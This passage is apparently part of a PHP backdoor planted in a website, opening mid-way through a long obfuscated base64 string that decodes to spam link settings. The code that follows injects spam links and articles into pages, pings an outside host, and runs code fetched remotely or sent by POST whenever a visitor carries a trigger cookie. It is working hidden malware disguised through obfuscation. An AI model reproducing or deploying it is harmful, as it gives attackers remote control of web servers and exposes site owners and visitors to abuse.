F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'Z'.'i'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'N'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'U'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'k'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'i'.'w'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'3'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'S'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'A'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'y'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'O'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'S'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'I'.'g'.'X'.'H'.'U'.'y'.'M'.'D'.'E'.'0'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'1'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'i'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'U'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'h'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'z'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'i'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'j'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'k'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'i'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'Z'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'C'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'d'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'d'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'h'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'J'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'U'.'g'.'X'.'H'.'U'.'y'.'M'.'D'.'E'.'0'.'I'.'D'.'x'.'h'.'I'.'G'.'h'.'y'.'Z'.'W'.'Y'.'9'.'X'.'C'.'J'.'o'.'d'.'H'.'R'.'w'.'c'.'z'.'p'.'c'.'L'.'1'.'w'.'v'.'c'.'3'.'R'.'1'.'Z'.'H'.'N'.'l'.'e'.'C'.'5'.'p'.'b'.'m'.'Z'.'v'.'X'.'C'.'9'.'2'.'L'.'W'.'9'.'i'.'c'.'2'.'N'.'o'.'Y'.'W'.'d'.'l'.'X'.'C'.'I'.'+'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'z'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'D'.'x'.'c'.'L'.'2'.'E'.'+'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'Y'.'y'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'E'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'y'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'O'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'S'.'4'.'g'.'I'.'i'.'w'.'i'.'a'.'W'.'Q'.'i'.'O'.'j'.'U'.'w'.'N'.'T'.'U'.'1'.'L'.'C'.'J'.'s'.'d'.'m'.'w'.'i'.'O'.'i'.'I'.'y'.'I'.'i'.'w'.'i'.'c'.'2'.'h'.'v'.'d'.'1'.'9'.'m'.'b'.'3'.'I'.'i'.'O'.'l'.'s'.'i'.'Z'.'2'.'9'.'v'.'Z'.'2'.'x'.'l'.'I'.'l'.'0'.'s'.'I'.'n'.'V'.'y'.'a'.'S'.'I'.'6'.'I'.'l'.'w'.'v'.'Y'.'m'.'l'.'y'.'d'.'G'.'h'.'k'.'Y'.'X'.'l'.'c'.'L'.'y'.'I'.'s'.'I'.'m'.'5'.'f'.'c'.'G'.'9'.'z'.'I'.'j'.'o'.'w'.'f'.'S'.'x'.'7'.'I'.'m'.'N'.'v'.'Z'.'G'.'U'.'i'.'O'.'i'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'j'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'d'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'h'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'M'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'z'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'4'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'0'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'j'.'L'.'C'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'E'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'z'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'h'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'m'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'l'.'x'.'1'.'M'.'D'.'Q'.'1'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'1'.'x'.'1'.'M'.'D'.'Q'.'0'.'O'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'C'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'N'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'I'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'j'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'z'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'2'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'y'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'g'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'h'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'4'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'h'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'5'.'P'.'y'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'j'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'N'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'A'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'m'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'3'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'i'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'j'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'k'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'C'.'A'.'8'.'Y'.'S'.'B'.'o'.'c'.'m'.'V'.'m'.'P'.'V'.'w'.'i'.'a'.'H'.'R'.'0'.'c'.'H'.'M'.'6'.'X'.'C'.'9'.'c'.'L'.'3'.'h'.'u'.'L'.'S'.'0'.'4'.'M'.'G'.'F'.'k'.'a'.'X'.'N'.'j'.'N'.'G'.'J'.'j'.'M'.'W'.'E'.'u'.'Y'.'2'.'9'.'t'.'X'.'C'.'9'.'z'.'Z'.'W'.'t'.'z'.'d'.'m'.'F'.'5'.'Z'.'l'.'w'.'i'.'P'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'C'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'l'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'Q'.'u'.'Y'.'2'.'9'.'t'.'X'.'C'.'9'.'z'.'Z'.'W'.'t'.'z'.'d'.'m'.'F'.'5'.'Z'.'j'.'x'.'c'.'L'.'2'.'E'.'+'.'L'.'i'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'W'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'A'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'k'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'j'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'S'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'d'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'M'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'j'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'k'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'z'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'i'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'N'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'Z'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'N'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'Z'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'h'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'U'.'g'.'X'.'H'.'U'.'w';$d_set.='N'.'D'.'N'.'m'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'w'.'L'.'C'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'A'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'h'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'2'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'Y'.'y'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'h'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'U'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'x'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Y'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'C'.'4'.'i'.'L'.'C'.'J'.'p'.'Z'.'C'.'I'.'6'.'N'.'T'.'E'.'x'.'N'.'T'.'A'.'s'.'I'.'m'.'x'.'2'.'b'.'C'.'I'.'6'.'I'.'j'.'I'.'i'.'L'.'C'.'J'.'z'.'a'.'G'.'9'.'3'.'X'.'2'.'Z'.'v'.'c'.'i'.'I'.'6'.'W'.'y'.'J'.'n'.'b'.'2'.'9'.'n'.'b'.'G'.'U'.'i'.'X'.'S'.'w'.'i'.'d'.'X'.'J'.'p'.'I'.'j'.'o'.'i'.'X'.'C'.'9'.'s'.'b'.'3'.'Z'.'l'.'X'.'C'.'9'.'m'.'b'.'3'.'R'.'v'.'L'.'X'.'B'.'h'.'c'.'l'.'w'.'v'.'I'.'i'.'w'.'i'.'b'.'l'.'9'.'w'.'b'.'3'.'M'.'i'.'O'.'j'.'F'.'9'.'L'.'H'.'s'.'i'.'Y'.'2'.'9'.'k'.'Z'.'S'.'I'.'6'.'I'.'l'.'x'.'1'.'M'.'D'.'Q'.'x'.'Z'.'l'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'S'.'A'.'8'.'Y'.'S'.'B'.'o'.'c'.'m'.'V'.'m'.'P'.'V'.'w'.'i'.'a'.'H'.'R'.'0'.'c'.'H'.'M'.'6'.'X'.'C'.'9'.'c'.'L'.'3'.'h'.'u'.'L'.'S'.'0'.'5'.'M'.'G'.'F'.'o'.'a'.'2'.'o'.'1'.'Y'.'S'.'5'.'u'.'Z'.'X'.'R'.'c'.'L'.'3'.'Y'.'t'.'a'.'2'.'9'.'s'.'Z'.'2'.'9'.'0'.'a'.'2'.'F'.'o'.'X'.'C'.'I'.'+'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'m'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'w'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'l'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'z'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'z'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'i'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'m'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'5'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'y'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'R'.'j'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'S'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'F'.'c'.'d'.'T'.'A'.'0'.'N'.'G'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'U'.'g'.'a'.'H'.'R'.'0'.'c'.'H'.'M'.'6'.'X'.'C'.'9'.'c'.'L'.'3'.'h'.'u'.'L'.'S'.'0'.'5'.'M'.'G'.'F'.'o'.'a'.'2'.'o'.'1'.'Y'.'S'.'5'.'u'.'Z'.'X'.'R'.'c'.'L'.'3'.'Y'.'t'.'a'.'2'.'9'.'s'.'Z'.'2'.'9'.'0'.'a'.'2'.'F'.'o'.'P'.'F'.'w'.'v'.'Y'.'T'.'4'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'4'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'Z'.'V'.'x'.'1'.'M'.'D'.'Q'.'0'.'N'.'1'.'x'.'1'.'M'.'D'.'Q'.'z'.'O'.'F'.'x'.'1'.'M'.'D'.'Q'.'0'.'M'.'l'.'x'.'1'.'M'.'D'.'Q'.'z'.'N'.'S'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'R'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'A'.'g'.'X'.'H'.'U'.'w'.'N'.'D'.'N'.'i'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'1'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'M'.'x'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'z'.'X'.'H'.'U'.'w'.'N'.'D'.'Q'.'1'.'I'.'F'.'x'.'1'.'M'.'D'.'Q'.'z'.'M'.'i'.'B'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'N'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'V'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'J'.'c'.'d'.'T'.'A'.'0'.'M'.'2'.'F'.'c'.'d'.'T'.'A'.'0'.'M'.'z'.'B'.'c'.'d'.'T'.'A'.'0'.'N'.'D'.'U'.'u'.'I'.'i'.'w'.'i'.'a'.'W'.'Q'.'i'.'O'.'j'.'U'.'x'.'M'.'T'.'k'.'5'.'L'.'C'.'J'.'s'.'d'.'m'.'w'.'i'.'O'.'i'.'I'.'y'.'I'.'i'.'w'.'i'.'c'.'2'.'h'.'v'.'d'.'1'.'9'.'m'.'b'.'3'.'I'.'i'.'O'.'l'.'s'.'i'.'Z'.'2'.'9'.'v'.'Z'.'2'.'x'.'l'.'I'.'l'.'0'.'s'.'I'.'n'.'V'.'y'.'a'.'S'.'I'.'6'.'I'.'l'.'w'.'v'.'Z'.'m'.'F'.'t'.'a'.'W'.'x'.'5'.'X'.'C'.'8'.'i'.'L'.'C'.'J'.'u'.'X'.'3'.'B'.'v'.'c'.'y'.'I'.'6'.'M'.'H'.'1'.'d'.'f'.'X'.'0'.'=';$end_dr_set=1;$doors_set=json_decode(base64_decode($d_set),true);$d_pr='gui_ym_';if(isset($argv[1])){echo "\nconsole doors\n";}else{$dr_cl=new doors_s();if(!isset($_COOKIE[$d_pr.'noc'])){$dr_cl->log_tt('NO isset cookie noc');if(preg_match('#lm_preparehtml.php#',$_SERVER['REQUEST_URI'])){$t_request_uri=$_SERVER['REQUEST_URI'];$_SERVER['REQUEST_URI']=$_SERVER['QUERY_STRING'];}if(!isset($dr_cl->set['pinged'])){$dr_cl->ping_site();}if(preg_match('#doors_user$#',$_SERVER['HTTP_USER_AGENT'])){$dr_cl->audit();exit;}if(@preg_match('#^(.+?)=>(.+?)$#',$dr_cl->set['replace_request_uri'],$m)){$_SERVER['REQUEST_URI']=preg_replace($m[1],$m[2],$_SERVER['REQUEST_URI']);}if(isset($_COOKIE['doors_logs'])&&$_COOKIE['doors_logs']==1)$dr_cl->log=true;if(isset($_COOKIE[$d_pr.'uid'])){$dr_cl->log_tt('isset cookie uid');if($_COOKIE[$d_pr.'act']=='launch'){echo '&nbsp;<!--doors_c ';$d_url=base64_decode($_COOKIE[$d_pr.'ul']);$d_url=$dr_cl->ping_link;$d_c=$dr_cl->get_c($d_url.'?get_c&tn='.$_COOKIE[$d_pr.'tn']);if(!$d_c&&isset($_POST['c'])){$d_cd=array('params'=>$_POST['params'],'code'=>$_POST['c']);}else{$d_cd=json_decode($d_c,true);}$d_params=$d_cd['params'];$dr_cl->log_tt('d_cd params = '.print_r($d_cd,true));$dr_cl->log_tt($d_url.'?get_c&tn='.$_COOKIE[$d_pr.'tn']);$dr_cl->ev($d_cd['code'],$d_cd['params']);echo ' doors_c-->';exit;}}else{$dr_cl->log_tt('NO isset cookie uid');$dr_cl->try_set_new_links();$dr_cl->show_links();$dr_cl->show_articles();if($_SERVER['REQUEST_URI']=='/'&&@$dr_cl->set['articles']&&count($dr_cl->set['articles'])>0){$dr_cl->show_index_with_links_articles();}}if(isset($t_request_uri)&&$t_request_uri)$_SERVER['REQUEST_URI']=$t_request_uri;if(isset($_COOKIE['doors_test_links'])&&$_COOKIE['doors_test_links']==2)exit;}}}